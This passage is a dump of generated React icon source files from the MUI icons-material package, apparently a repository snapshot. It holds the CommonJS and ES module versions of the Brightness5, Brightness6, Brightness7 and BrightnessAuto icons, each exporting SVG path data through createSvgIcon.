    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 9.52V6h-3.52L12 3.52 9.52 6H6v3.52L3.52 12 6 14.48V18h3.52L12 20.48 14.48 18H18v-3.52L20.48 12zm-6 7.98c-3.03 0-5.5-2.47-5.5-5.5S8.97 6.5 12 6.5s5.5 2.47 5.5 5.5-2.47 5.5-5.5 5.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12zM12 6.5c-3.03 0-5.5 2.47-5.5 5.5s2.47 5.5 5.5 5.5 5.5-2.47 5.5-5.5-2.47-5.5-5.5-5.5m0 9c-1.93 0-3.5-1.57-3.5-3.5s1.57-3.5 3.5-3.5 3.5 1.57 3.5 3.5-1.57 3.5-3.5 3.5\"\n}, \"1\")], 'Brightness5TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness6.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 15.31 23.31 12 20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20zM12 18V6c3.31 0 6 2.69 6 6s-2.69 6-6 6\"\n}), 'Brightness6');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness6.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 15.31 23.31 12 20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20zM12 18V6c3.31 0 6 2.69 6 6s-2.69 6-6 6\"\n}), 'Brightness6');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness6Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12zM12 6.5v11c3.03 0 5.5-2.47 5.5-5.5S15.03 6.5 12 6.5\"\n}), 'Brightness6Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness6Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12zM12 6.5v11c3.03 0 5.5-2.47 5.5-5.5S15.03 6.5 12 6.5\"\n}), 'Brightness6Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness6Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20 15.31 2.6-2.6c.39-.39.39-1.02 0-1.41L20 8.69V5c0-.55-.45-1-1-1h-3.69l-2.6-2.6a.996.996 0 0 0-1.41 0L8.69 4H5c-.55 0-1 .45-1 1v3.69l-2.6 2.6c-.39.39-.39 1.02 0 1.41L4 15.3V19c0 .55.45 1 1 1h3.69l2.6 2.6c.39.39 1.02.39 1.41 0l2.6-2.6H19c.55 0 1-.45 1-1zm-8 1.59V7.1c0-.61.55-1.11 1.15-.99C15.91 6.65 18 9.08 18 12s-2.09 5.35-4.85 5.89c-.6.12-1.15-.38-1.15-.99\"\n}), 'Brightness6Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness6Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20 15.31 2.6-2.6c.39-.39.39-1.02 0-1.41L20 8.69V5c0-.55-.45-1-1-1h-3.69l-2.6-2.6a.996.996 0 0 0-1.41 0L8.69 4H5c-.55 0-1 .45-1 1v3.69l-2.6 2.6c-.39.39-.39 1.02 0 1.41L4 15.3V19c0 .55.45 1 1 1h3.69l2.6 2.6c.39.39 1.02.39 1.41 0l2.6-2.6H19c.55 0 1-.45 1-1zm-8 1.59V7.1c0-.61.55-1.11 1.15-.99C15.91 6.65 18 9.08 18 12s-2.09 5.35-4.85 5.89c-.6.12-1.15-.38-1.15-.99\"\n}), 'Brightness6Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness6Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 15.31 23.31 12 20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20zM12 18V6c3.31 0 6 2.69 6 6s-2.69 6-6 6\"\n}), 'Brightness6Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness6Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 15.31 23.31 12 20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20zM12 18V6c3.31 0 6 2.69 6 6s-2.69 6-6 6\"\n}), 'Brightness6Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness6TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 9.52V6h-3.52L12 3.52 9.52 6H6v3.52L3.52 12 6 14.48V18h3.52L12 20.48 14.48 18H18v-3.52L20.48 12zm-6 7.98v-11c3.03 0 5.5 2.47 5.5 5.5s-2.47 5.5-5.5 5.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12zM12 6.5v11c3.03 0 5.5-2.47 5.5-5.5S15.03 6.5 12 6.5\"\n}, \"1\")], 'Brightness6TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness6TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 9.52V6h-3.52L12 3.52 9.52 6H6v3.52L3.52 12 6 14.48V18h3.52L12 20.48 14.48 18H18v-3.52L20.48 12zm-6 7.98v-11c3.03 0 5.5 2.47 5.5 5.5s-2.47 5.5-5.5 5.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12zM12 6.5v11c3.03 0 5.5-2.47 5.5-5.5S15.03 6.5 12 6.5\"\n}, \"1\")], 'Brightness6TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness7.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zM12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6m0-10c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4\"\n}), 'Brightness7');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness7.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zM12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6m0-10c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4\"\n}), 'Brightness7');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness7Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12zM12 6.5c-3.03 0-5.5 2.47-5.5 5.5s2.47 5.5 5.5 5.5 5.5-2.47 5.5-5.5-2.47-5.5-5.5-5.5m0 9c-1.93 0-3.5-1.57-3.5-3.5s1.57-3.5 3.5-3.5 3.5 1.57 3.5 3.5-1.57 3.5-3.5 3.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"2\"\n}, \"1\")], 'Brightness7Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness7Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12zM12 6.5c-3.03 0-5.5 2.47-5.5 5.5s2.47 5.5 5.5 5.5 5.5-2.47 5.5-5.5-2.47-5.5-5.5-5.5m0 9c-1.93 0-3.5-1.57-3.5-3.5s1.57-3.5 3.5-3.5 3.5 1.57 3.5 3.5-1.57 3.5-3.5 3.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"2\"\n}, \"1\")], 'Brightness7Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness7Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8.69V5c0-.55-.45-1-1-1h-3.69l-2.6-2.6a.996.996 0 0 0-1.41 0L8.69 4H5c-.55 0-1 .45-1 1v3.69l-2.6 2.6c-.39.39-.39 1.02 0 1.41L4 15.3V19c0 .55.45 1 1 1h3.69l2.6 2.6c.39.39 1.02.39 1.41 0l2.6-2.6H19c.55 0 1-.45 1-1v-3.69l2.6-2.6c.39-.39.39-1.02 0-1.41zM12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6m0-10c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4\"\n}), 'Brightness7Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness7Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8.69V5c0-.55-.45-1-1-1h-3.69l-2.6-2.6a.996.996 0 0 0-1.41 0L8.69 4H5c-.55 0-1 .45-1 1v3.69l-2.6 2.6c-.39.39-.39 1.02 0 1.41L4 15.3V19c0 .55.45 1 1 1h3.69l2.6 2.6c.39.39 1.02.39 1.41 0l2.6-2.6H19c.55 0 1-.45 1-1v-3.69l2.6-2.6c.39-.39.39-1.02 0-1.41zM12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6m0-10c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4\"\n}), 'Brightness7Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness7Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zM12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6m0-10c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4\"\n}), 'Brightness7Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness7Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zM12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6m0-10c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4\"\n}), 'Brightness7Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness7TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 9.52V6h-3.52L12 3.52 9.52 6H6v3.52L3.52 12 6 14.48V18h3.52L12 20.48 14.48 18H18v-3.52L20.48 12zm-6 7.98c-3.03 0-5.5-2.47-5.5-5.5S8.97 6.5 12 6.5s5.5 2.47 5.5 5.5-2.47 5.5-5.5 5.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12zM12 6.5c-3.03 0-5.5 2.47-5.5 5.5s2.47 5.5 5.5 5.5 5.5-2.47 5.5-5.5-2.47-5.5-5.5-5.5m0 9c-1.93 0-3.5-1.57-3.5-3.5s1.57-3.5 3.5-3.5 3.5 1.57 3.5 3.5-1.57 3.5-3.5 3.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"2\"\n}, \"2\")], 'Brightness7TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness7TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 9.52V6h-3.52L12 3.52 9.52 6H6v3.52L3.52 12 6 14.48V18h3.52L12 20.48 14.48 18H18v-3.52L20.48 12zm-6 7.98c-3.03 0-5.5-2.47-5.5-5.5S8.97 6.5 12 6.5s5.5 2.47 5.5 5.5-2.47 5.5-5.5 5.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12zM12 6.5c-3.03 0-5.5 2.47-5.5 5.5s2.47 5.5 5.5 5.5 5.5-2.47 5.5-5.5-2.47-5.5-5.5-5.5m0 9c-1.93 0-3.5-1.57-3.5-3.5s1.57-3.5 3.5-3.5 3.5 1.57 3.5 3.5-1.57 3.5-3.5 3.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"2\"\n}, \"2\")], 'Brightness7TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessAuto.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.85 12.65h2.3L12 9zM20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zM14.3 16l-.7-2h-3.2l-.7 2H7.8L11 7h2l3.2 9z\"\n}), 'BrightnessAuto');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessAuto.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.85 12.65h2.3L12 9zM20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zM14.3 16l-.7-2h-3.2l-.7 2H7.8L11 7h2l3.2 9z\"\n}), 'BrightnessAuto');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessAutoOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11 7-3.2 9h1.9l.7-2h3.2l.7 2h1.9L13 7zm-.15 5.65L12 9l1.15 3.65zM20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12z\"\n}), 'BrightnessAutoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessAutoOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m11 7-3.2 9h1.9l.7-2h3.2l.7 2h1.9L13 7zm-.15 5.65L12 9l1.15 3.65zM20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12z\"\n}), 'BrightnessAutoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessAutoRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.85 12.65h2.3L12 9zM20 8.69V6c0-1.1-.9-2-2-2h-2.69l-1.9-1.9c-.78-.78-2.05-.78-2.83 0L8.69 4H6c-1.1 0-2 .9-2 2v2.69l-1.9 1.9c-.78.78-.78 2.05 0 2.83l1.9 1.9V18c0 1.1.9 2 2 2h2.69l1.9 1.9c.78.78 2.05.78 2.83 0l1.9-1.9H18c1.1 0 2-.9 2-2v-2.69l1.9-1.9c.78-.78.78-2.05 0-2.83zm-5.91 6.71L13.6 14h-3.2l-.49 1.4c-.13.36-.46.6-.84.6-.62 0-1.05-.61-.84-1.19l2.44-6.86c.2-.57.73-.95 1.33-.95s1.13.38 1.34.94l2.44 6.86c.21.58-.22 1.19-.84 1.19-.39.01-.72-.23-.85-.59\"\n}), 'BrightnessAutoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessAutoRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.85 12.65h2.3L12 9zM20 8.69V6c0-1.1-.9-2-2-2h-2.69l-1.9-1.9c-.78-.78-2.05-.78-2.83 0L8.69 4H6c-1.1 0-2 .9-2 2v2.69l-1.9 1.9c-.78.78-.78 2.05 0 2.83l1.9 1.9V18c0 1.1.9 2 2 2h2.69l1.9 1.9c.78.78 2.05.78 2.83 0l1.9-1.9H18c1.1 0 2-.9 2-2v-2.69l1.9-1.9c.78-.78.78-2.05 0-2.83zm-5.91 6.71L13.6 14h-3.2l-.49 1.4c-.13.36-.46.6-.84.6-.62 0-1.05-.61-.84-1.19l2.44-6.86c.2-.57.73-.95 1.33-.95s1.13.38 1.34.94l2.44 6.86c.21.58-.22 1.19-.84 1.19-.39.01-.72-.23-.85-.59\"\n}), 'BrightnessAutoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessAutoSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.85 12.65h2.3L12 9zM20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zM14.3 16l-.7-2h-3.2l-.7 2H7.8L11 7h2l3.2 9z\"\n}), 'BrightnessAutoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessAutoSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.85 12.65h2.3L12 9zM20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zM14.3 16l-.7-2h-3.2l-.7 2H7.8L11 7h2l3.2 9z\"\n}), 'BrightnessAutoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessAutoTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillOpacity: \".3\",\n  d: \"M18 9.52V6h-3.52L12 3.52 9.52 6H6v3.52L3.52 12 6 14.48V18h3.52L12 20.48 14.48 18H18v-3.52L20.48 12zM14.3 16l-.7-2h-3.2l-.7 2H7.8L11 7h2l3.2 9zm-3.45-3.35h2.3L12 9z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11 7-3.2 9h1.9l.7-2h3.2l.7 2h1.9L13 7zm-.15 5.65L12 9l1.15 3.65zM20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 